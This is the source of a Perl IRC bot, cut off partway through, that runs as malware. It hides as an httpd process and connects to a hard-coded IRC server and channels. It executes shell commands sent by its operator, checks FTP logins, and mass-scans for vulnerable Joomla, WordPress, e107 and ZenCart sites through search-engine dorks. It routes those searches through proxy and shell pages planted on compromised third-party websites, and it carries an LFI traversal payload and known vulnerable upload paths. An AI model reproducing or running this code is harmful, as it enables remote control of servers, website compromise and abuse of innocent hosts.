#!/usr/bin/perl
####################################
use HTTP::Request;
use HTTP::Request::Common;
use HTTP::Request::Common qw(POST);
use LWP::Simple;
use LWP 5.64;
use LWP::UserAgent;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
use MIME::Base64;
use URI::Escape;
use Digest::MD5 qw(md5_hex);
####################################
my @array = (
    'a', 'b',  'c', 'd', 'e', 'f', 'g', 'h', 'i', 'l', 'm', 'n',
    'o', 'p',  'q', 'r', 's', 't', 'u', 'i', 'O', 'Y', 'T', 'Y',
    'O', 'O',  'P', 'p', 'B', 'C', 'R', 'O', 'S', 'E', 'K', 'J',
    'W', 'NS', 'j', 'k', 'v', 'w', 'x', 'z', '1', '2', '3', '4',
    '5', '6',  '7', '8', '9', '0'
);
my $datetime    = localtime;
my $number	= int(rand(100));
my $fakeproc  	= "/usr/sbin/httpd";
my $ircserver   = "104.171.118.134";
my $ircport     = "6660";
my $nickname = "surya-"
  . $array[ rand(@array) ]
  . $array[ rand(@array) ]
  . $array[ rand(@array) ]
  . $array[ rand(@array) ]
  . $array[ rand(@array) ]
  . $array[ rand(@array) ];
my $ident     	= "simpleirc";
my $channel   	= "#puteri";
my $chanxxx	= "#kampung";
my $admin    	= "pico";
my $fullname    = "Android SimpleIrc";
my $rawmsg      = $ARGV[4];
my $msgraw      = $ARGV[5];
my $nob0dy	= "8,1[4!9]4[albxteam]";
my $lfilogo	= "8,1[4!9]4Lfi 4<9=4> ";
my $xmllogo	= "8,1[4!9]4Xml 4<9=4> ";
my $e107logo	= "8,1[4!9]4E107 4<9=4> ";
my $zenlogo	= "8,1[4!9]4ZenCart 4<9=4> ";
my $jcelogo	= "8,1[4!9]4JcE 4<9=4> ";
my $rcilogo	= "8,1[4!9]4RcI 4<9=4> ";
my $ffmlogo	= "8,1[4!9]4FFM 4<9=4> ";
my $cgmlogo	= "8,1[4!9]4CGM 4<9=4> ";
my $carilogo    = "8,1[4!9]4Find 4<9=4> ";
my $lficmd	= "!lfi";
my $xmlcmd	= "!xml";
my $e107cmd	= "!e107";
my $zencmd	= "!zen";
my $jcecmd	= "!jce".$number."";
my $rcicmd	= "!rci".$number."";
my $ffmcmd	= "!ffm".$number."";
my $cgmcmd	= "!cgm".$number."";
my $cmdlfi	= "!cmdlfi".$number."";
my $cmdxml	= "!cmdxml".$number."";
my $ftpcmd	= "!ftp";
my $botxx	= "http://bitcoinshell.mooo.com/users/pico/alb-.txt";
my $timot	= 10;
my $silentmode	= 1;
my $uagent    = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6";
my $lfdtest   = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000";

my $jpath	= "?____pgfa=http%253A%252F%252Fwww.google.com%252Fsearch?q=";
my $jackae = "http://oldorff.de/CMS/reparex/images/stories/proxy.php".$jpath;
my $jackar = "http://nusstown.bplaced.net/proxy.php".$jpath;
my $jackat = "http://www9.atpages.jp/hehechang/px.php".$jpath;
my $jackau = "http://facebooking101.com/facebook-proxy.php".$jpath;
my $jackbr = "http://www.haeschmi.ch/surrogafier.php".$jpath;
my $jackca = "http://www.fenix-hyp.info/p2/index.php".$jpath;
my $jackcl = "http://oldorff.de/CMS/reparex/images/stories/proxy.php".$jpath;
my $jackcn = "http://oldorff.de/CMS/reparex/images/stories/proxy.php".$jpath;
my $jackcom = "http://josh.gavaghan.org/freedom/index.php".$jpath;
my $jackcz = "http://www.mjphd.net/proxy.php".$jpath;
my $jackde = "http://www.mjphd.net/proxy.php".$jpath;
my $jackdk = "http://www.mjphd.net/proxy.php".$jpath;
my $jackes = "http://nusstown.bplaced.net/proxy.php".$jpath;
my $jackeu = "http://nusstown.bplaced.net/proxy.php".$jpath;
my $jackfr = "http://www9.atpages.jp/hehechang/px.php".$jpath;
my $jackhu = "http://www9.atpages.jp/hehechang/px.php".$jpath;
my $jackid = "http://177.4.23.159/images/stories/eror.php".$jpath;
my $jackil = "http://services.majactive.com/devjoomlany1522/images/stories/eror.php".$jpath;
my $jackin = "http://www.primariatismana.ro/images/stories/eror.php".$jpath;
my $jackinfo = "http://www.wos-teteringen.nl/Joomla/images/stories/eror.php".$jpath;
my $jackir = "http://www.ipms-sg.ch/Joomla/images/stories/eror.php".$jpath;
my $jackit = "http://82.219.27.35/Joomla/images/stories/eror.php".$jpath;
my $jackjp = "http://www.webmanaridis.gr/images/stories/eror.php".$jpath;
my $jackkr = "http://nusstown.bplaced.net/proxy.php".$jpath;
my $jackmx = "http://www.ojf.com/images/stories/eror.php".$jpath;
my $jackmy = "http://www.museumshof-kammern.at/images/stories/eror.php".$jpath;
my $jacknet = "http://www.muebleymampara.com/images/stories/eror.php".$jpath;
my $jacknl = "http://www.jamoneselmano.com/wp-includes/error.php".$jpath;
my $jackorg = "http://geometrie.ru/images/stories/eror.php".$jpath;
my $jackph = "http://nusstown.bplaced.net/proxy.php".$jpath;
my $jackpl = "http://www.jamoneselmano.com/wp-includes/error.php".$jpath;
my $jackro = "http://www.hallco.org/ChicopeeWoodsES/site/spa/images/stories/eror.php".$jpath;
my $jackru = "http://kprf.tmb.ru/images/stories/eror.php".$jpath;
my $jackth = "http://www.tapiswaves.com/images/stories/eror.php".$jpath;
my $jackua = "http://www.sebastiendeganay.com/web010/components/com_joomlapack/eror.php".$jpath;
my $jackuk = "http://www.dicrep.gov.cl/images/stories/eror.php".$jpath;
my $jackus = "http://anjalivillas.com/images/stories/eror.php".$jpath;
my $jacksi = "http://viewwebinars.com/wp-includes/errors.php".$jpath;
my $jackbe = "http://nusstown.bplaced.net/proxy.php".$jpath;
my $jackbiz = "http://josh.gavaghan.org/freedom/index.php".$jpath;

my $engine	= "JacKAE,JacKAR,JacKAT,JacKAU,JacKBR,JacKCA,JacKCL,JacKCN,JacKCOM,JackCZ,JacKDE,JacKDK,JacKES,JacKEU,JacKFR,JacKHU,JacKID,JacKIL,JacKIN,JacKInfO,JacKIR,JacKIT,JacKJP,JacKKR,JacKMX,JacKMY,JacKNET,JacKNL,JacKORG,JacKPH,JacKPL,JacKRO,JacKRU,JacKTH,JacKUA,JacKUK,JacKUS,JacKSI,JacKBE,JacKBIZ,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoHK,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK";
my @jpaths	= ('/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart',
				'/administrator/components/com_acymailing/inc/openflash',
				'/administrator/components/com_jnewsletter/includes/openflashchart',
				'/administrator/components/com_jinc/classes/graphics',
				'/administrator/components/com_maianmedia/utilities/charts',
				'/administrator/components/com_jnews/includes/openflashchart');
my $jvuln	= "/php-ofc-library/ofc_upload_image.php";
my $jshell	= "/tmp-upload-images/lobex21.php";
$SIG{'INT'}   = 'IGNORE';
$SIG{'HUP'}   = 'IGNORE';
$SIG{'TERM'}  = 'IGNORE';
$SIG{'CHLD'}  = 'IGNORE';
$SIG{'PS'}    = 'IGNORE';
#chdir("/");
$ircserver = "$ARGV[0]" if $ARGV[0];
$ircport = "$ARGV[1]" if $ARGV[1];
$nickname = "$ARGV[2]" if $ARGV[2];
$channel = '#'."$ARGV[3]" if $ARGV[3];
$0 = "$fakeproc"."\0" x 16;
my $pid = fork;
exit if $pid;
die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
    if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
    } else {
        print $IRC_cur_socket "$_[0]\n";
    }
}
sub connector {
    my $mynick = $_[0];
    my $ircserver_con = $_[1];
    my $ircport_con = $_[2];
    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
    if (defined($IRC_socket)) {
        $IRC_cur_socket = $IRC_socket;
        $IRC_socket->autoflush(1);
        $sel_client->add($IRC_socket);
        $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
        $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
        nick("$mynick");
        sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
        sleep(1);}}

sub parse {
    my $servarg = shift;
    if ($servarg =~ /^PING \:(.*)/) {
        sendraw("PONG :$1");
    }
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
        if (lc($1) eq lc($mynick)) {
            $mynick = $4;
            $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        }
    }
    elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
        nick($mynick.int(rand(5)));
    }
    elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
        $mynick = $2;
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
        sendraw("MODE $mynick +Bx");
        sendraw("NS id qwe123");
        sleep(3);
        sendraw("JOIN $channel correct");
        sendraw("JOIN $chanxxx mejen");
        sleep(1);
	sendraw("PRIVMSG $channel :8,1[4!9]4 + Jce , Rci Scanner - Chegou =D !!!");
        sendraw("PRIVMSG $admin :Hi $admin im here !!!");
    }
}

my $line_temp;
while( 1 ) {
    while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
    select(undef, undef, undef, 0.01);
    delete($irc_servers{''}) if (defined($irc_servers{''}));
    my @ready = $sel_client->can_read(0);
    next unless(@ready);
    foreach $fh (@ready) {
        $IRC_cur_socket = $fh;
        $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
        $nread = sysread($fh, $ircmsg, 4096);
        if ($nread == 0) {
            $sel_client->remove($fh);

            $fh->close;
            delete($irc_servers{$fh});
        }
        @lines = split (/\n/, $ircmsg);
        $ircmsg =~ s/\r\n$//;
        if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
            my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);			
            if ($path eq $mynick) {
				if ($msg =~ /^PING (.*)/) {
					sendraw("NOTICE $nick :PING $1");
				}
				if ($msg =~ /^VERSION/) {
					sendraw("NOTICE $nick :VERSION Simple IRC ver 1.1.0");
				}
				if ($msg =~ /^TIME/) {
					sendraw("NOTICE $nick :TIME ".$datetime."");
				}
				if (&isAdmin($nick) && $msg eq "!die") {
					&shell("$path","kill -9 $$");
				}
				if (&isAdmin($nick) && $msg eq "!killall") {
					&shell("$path","killall -9 perl");
				}
				if (&isAdmin($nick) && $msg eq "!reset") {
					sendraw("QUIT :Restarting...");
				}
				if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
					sendraw("JOIN #".$1);
				}
				if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
					sendraw("PART #".$1);
				}
				if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
					sendraw("NICK ".$1);
				}
				if (&isAdmin($nick) && $msg =~ /^!pid/) {
					sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
				}
				if (&isAdmin($nick) && $msg !~ /^!/) {
					&shell("$nick","$msg");
				}
				if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
					sendraw("$rawmsg $msgraw ".$1);
				}
				if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
					sendraw("PRIVMSG $rawmsg ".$1);
				}
				if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
					sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
				}
				if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
					$newtimot = $1;
					$timot = $newtimot;
					&msg("$admin","8,1 Get Content TimeOut change to4 $timot ");
				}
				if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
					$newchan = $1;
					$chanxxx = $newchan;
					&msg("$admin","8,1 xChan change to4 $chanxxx ");
				}}}
			}
			else {
				if (&isAdmin($nick) && $msg eq "!die") {
					&shell("$path","kill -9 $$");
				}
				if (&isAdmin($nick) && $msg eq "!killall") {
					&shell("$path","killall -9 perl");
				}
				if (&isAdmin($nick) && $msg eq "!reset") {
					sendraw("QUIT :Restarting...");
				}
				if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
					sendraw("JOIN #".$1);
				}
				if (&isAdmin($nick) && $msg eq "!part") {
					sendraw("PART $path");
				}
				if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
					sendraw("PART #".$1);
				}
				if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
					&shell("$path","$1");
				}
				if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
					&shell("$path","$1");
				}
				if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) {
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
					$smod = $1;
				if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
				elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
					&msg("$path","8,1[4!9]Silent Mode4 $silentstat !!!!");
				}}}
				if ($msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
					my $url = $1.$lfdtest;
					my $cmd = $2;
					&cmdlfi($url,$cmd,$path);
				}
				if ($msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
					my $url = $1;
					my $cmd = $2;
					&cmdxml($url,$cmd,$path);
				}
				if ($msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
					my $url = $1;
					my $cmd = $2;
					&cmde107($url,$cmd,$path);
				}
                ##################################################################### HELP COMMAND
				if ($msg=~ /^!help/) {
					my $helplogo = "8,1[4!9]4Help 4<9=4> ";
					&msg("$path","$helplogo9LFI Vuln Scan:4 $lficmd [bug] [dork] ");
					&msg("$path","$helplogo9XML Vuln Scan:4 $xmlcmd [bug] [dork] ");
					&msg("$path","$helplogo9e107 Vuln Scan:4 $e107cmd [dork] ");
					&msg("$path","$helplogo9ZenCart Vuln Scan:4 $zencmd [dork] ");
					&msg("$path","$helplogo9Joomla CE Vuln Scan:4 $jcecmd [dork] ");
					&msg("$path","$helplogo9Joomla Exploit:4 $rcicmd [dork] ");
				}
                if (&isAdmin($nick) && $msg =~ /^!pid/) {
                    &msg("$nick","6Fake Process/PID : $fakeproc - $$");
                }
                ##################################################################### SCAN
				if ($msg =~ /!cari\s+(.*)/) {
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
					my $find = $1;
					&msg($path,"$carilogo9 Searching 4$find ");
					&cari($path,$find);
					} exit; }
				}
                if ($msg =~ /^$lficmd\s+(.+?)\s+(.*)/) {
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
					my ($bug,$dork) = ($1,$2);
							&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan LFI di 4$path ");
							&msg("$path","$lfilogo9Dork 4<9=4>4 $dork ");
							&msg("$path","$lfilogo9Bugz 4<9=4>4 $bug ");
							&msg("$path","$lfilogo9Search Engine 4<9=4>4 Loading ");
							&se_start($path,$bug,$nick,$dork,$engine,1);
						}
					}
				}
                if ($msg =~ /^$xmlcmd\s+(.+?)\s+(.*)/) {
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
					my ($bug,$dork) = ($1,$2);
							&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan XML di 4$path ");
							&msg("$path","$xmllogo9Dork 4<9=4>4 $dork ");
							&msg("$path","$xmllogo9Bugz 4<9=4>4 $bug ");
							&msg("$path","$xmllogo9Search Engine 4<9=4>4 Loading ");
							&se_start($path,$bug,$nick,$dork,$engine,2);
						}
					}
				}
                if ($msg =~ /^$e107cmd\s+(.*)/) {
                	if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
						if (&isFound($thumbid,"GIF89")) {
						my ($bug,$dork) = ("contact.php",$1);
							&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan E107 di 4$path ");
							&msg("$path","$e107logo9Dork 4<9=4>4 $dork ");
							&msg("$path","$e107logo9Search Engine 4<9=4>4 Loading ");
							&se_start($path,$bug,$nick,$dork,$engine,3);
							} else {
							&msg("$path","8,1[4!9]Injector 4<9=4>4 Lost!!! ");
							}
						}
					}
				}
                if ($msg =~ /^$zencmd\s+(.*)/) {
                	if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
						my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
						&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan ZenCart di 4$path ");
						&msg("$path","$zenlogo9Dork 4<9=4>4 $dork ");
						&msg("$path","$zenlogo9Search Engine 4<9=4>4 Loading ");
						&se_start($path,$bug,$nick,$dork,$engine,4);
						}
					}
				}
                if ($msg =~ /^$jcecmd\s+(.*)/) {
                	if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
						my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20",$1);
						my $check = &read_dorks($dork);
							if ($check == 1) {
								&msg("$path","$jcelogo9Denied $nick, 4Dork Already Scanned "); exit;
							} else {
								&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan JcE di 4$path ");
								&sendraw("mode $path +m");
								&msg("$path","$jcelogo9Dork 4<9=4>4 $dork ");
								&msg("$path","$jcelogo9Search Engine 4<9=4>4 Loading ");
								&write_dorks($dork);
								&se_start($path,$bug,$nick,$dork,$engine,5);
							}
						}
					}
				}
                if ($msg =~ /^$ffmcmd\s+(.*)/) {
                	if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
						my ($bug,$dork) = ("wp-content/plugins/front-file-manager/upload.php",$1);
						&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan FFM di 4$path ");
						&msg("$path","$ffmlogo9Dork 4<9=4>4 $dork ");
						&msg("$path","$ffmlogo9Search Engine 4<9=4>4 Loading ");
						&se_start($path,$bug,$nick,$dork,$engine,6);
						}
					}
				}
                if ($msg =~ /^$rcicmd\s+(.*)/) {
                	if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
						my ($bug,$dork) = ("",$1);
						my $check = &read_dorks($dork);
							if ($check == 1) {
								&msg("$path","$rcilogo9Denied $nick, 4Dork Already Scanned "); exit;
							} else {
								&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan RcI di 4$path ");
								&sendraw("mode $path +m");
								&msg("$path","$rcilogo9Dork 4<9=4>4 $dork ");
								&msg("$path","$rcilogo9Search Engine 4<9=4>4 Loading ");
								&se_start($path,$bug,$nick,$dork,$engine,7);
								&write_dorks($dork);
							}
						}
					}
				}
                if ($msg =~ /^$cgmcmd\s+(.*)/) {
                	if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
						my ($bug,$dork) = ("wp-content/plugins/complete-gallery-manager/frames/upload-images.php",$1);
						&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan CGM di 4$path ");
						&msg("$path","$cgmlogo9Dork 4<9=4>4 $dork ");
						&msg("$path","$cgmlogo9Search Engine 4<9=4>4 Loading ");
						&se_start($path,$bug,$nick,$dork,$engine,8);
						}
					}
				}
				if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
				my $url = $_[0];
				my $host = $_[1];
				my $user = $_[2];
				my $pass = $_[3];
					if (my $pid = fork) {
						waitpid($pid, 0);
					} else {
						if (fork) { exit; } else {
				my ($host,$user,$pass) = ($1,$2,$3);
					&msg("$path","8,1[4!9]FTP 4<9=4>4 Checking $host | $user:$pass");
					my $success = 1;
					use Net::FTP;
					my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
					$success = 0 if $ftp->login($user,$pass);
					$ftp->quit;
					if ($success == 0) {
						&notice("$nick","4,1 [9FTP4] [ 9http://".$host." 4] [".$user.":".$pass."4] 9Success ");
						} else {
						&notice("$nick","4,1 [9FTP4] [ 9http://".$host." 4] [".$user.":".$pass."4] 4Denied ");

					}
				}
			}
		}
	}
}
        for(my $c=0; $c<= $#lines; $c++) {
            $line = $lines[$c];
            $line = $line_temp.$line if ($line_temp);
            $line_temp = '';
            $line =~ s/\r$//;
            unless ($c == $#lines) {

                parse("$line");
            } else {
                if ($#lines == 0) {
                    parse("$line");
                } elsif ($lines[$c] =~ /\r$/) {
                    parse("$line");
                } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
                    parse("$line");
                } else {
                    $line_temp = $line;
                }
            }
        }
    }
}

##################################################################################

sub lobex() {
	my $dork = $_[0];
	my @targets;
	for (my $st=0; $st<=1000 ; $st+=100){
		my $engine = "http://www.google.com/search?q=".uri_escape($dork)."&num=100&start=".$st;
		my $browser = &search_engine_query($engine);
		while ($browser =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
			my $target = $1;
			if ($target !~ /google|forum|stackoverflow|php\.net/) {
				my @sort = split(/\.php/,$target);
				push (@targets,$sort[0]);
			}
		}
	}
	return @targets;
}

sub cari() {
	my $chan = $_[0];
	my $dork = $_[1];
	my $count = 0;
	my @kotor = &lobex($dork);
	my @target = &clean(@kotor);
	my $num = scalar(@target); &msg($chan,"$carilogo9 Total 4[4$num4]9 sites");
	if ($num > 0) {
		foreach my $site(@target) {
			$count++;
			if ($count == $num-1) {
				&msg("$chan","$carilogo9Finished 4for 9$dork ");
			}
			my $test = "http://".$site.".php?src=".$thumbshell;
			if (my $pid = fork) { waitpid($pid, 0); } else {
				if (fork) { exit; } else {
					my $coba = &get_content($test);
					if ($coba =~ /Unable to open image/) {
						&msg($chan,"$carilogo9 VulN 4-> 4 http://".$site.".php ");
					}
				} exit;
			}
		}
	}
}

sub type() {
my ($chan,$bug,$nick,$dork,$engine,$type) = @_;
	if ($type == 1){$type=&lfi_exploit($chan,$bug,$nick,$dork,$engine);}
	elsif ($type == 2){$type=&xml_exploit($chan,$bug,$nick,$dork,$engine);}
	elsif ($type == 3){$type=&e107_exploit($chan,$bug,$nick,$dork,$engine);}
	elsif ($type == 4){$type=&zen_exploit($chan,$bug,$nick,$dork,$engine);}
	elsif ($type == 5){$type=&jce_exploit($chan,$bug,$nick,$dork,$engine);}
	elsif ($type == 6){$type=&ffm_exploit($chan,$bug,$nick,$dork,$engine);}
	elsif ($type == 7){$type=&rci_exploit($chan,$bug,$nick,$dork,$engine);}
	elsif ($type == 8){$type=&cgm_exploit($chan,$bug,$nick,$dork,$engine);}
}

##################################################################################

sub se_start() {
my ($chan,$bug,$nick,$dork,$engine,$type) = @_; 
	if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKAE",$type); } exit; } }
	if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKAR",$type); } exit; } }
	if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKAT",$type); } exit; } }
	if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKAU",$type); } exit; } }
	if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKBR",$type); } exit; } }
	if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCA",$type); } exit; } }
	if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCL",$type); } exit; } }
	if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCN",$type); } exit; } }
	if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCoM",$type); } exit; } }
	if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCZ",$type); } exit; } }
	if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKDE",$type); } exit; } }
	if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKDK",$type); } exit; } }
	if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKES",$type); } exit; } }
	if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKEU",$type); } exit; } }
	if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKFR",$type); } exit; } }
	if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKHU",$type); } exit; } }
	if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKID",$type); } exit; } }
	if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKIL",$type); } exit; } }
	if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKIN",$type); } exit; } }
	if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKInfO",$type); } exit; } }
	if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKIR",$type); } exit; } }
	if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKIT",$type); } exit; } }
	if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKJP",$type); } exit; } }
	if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKKR",$type); } exit; } }
	if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKMX",$type); } exit; } }
	if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKMY",$type); } exit; } }
	if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKNeT",$type); } exit; } }
	if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKNL",$type); } exit; } }
	if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKOrG",$type); } exit; } }
	if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKPH",$type); } exit; } }
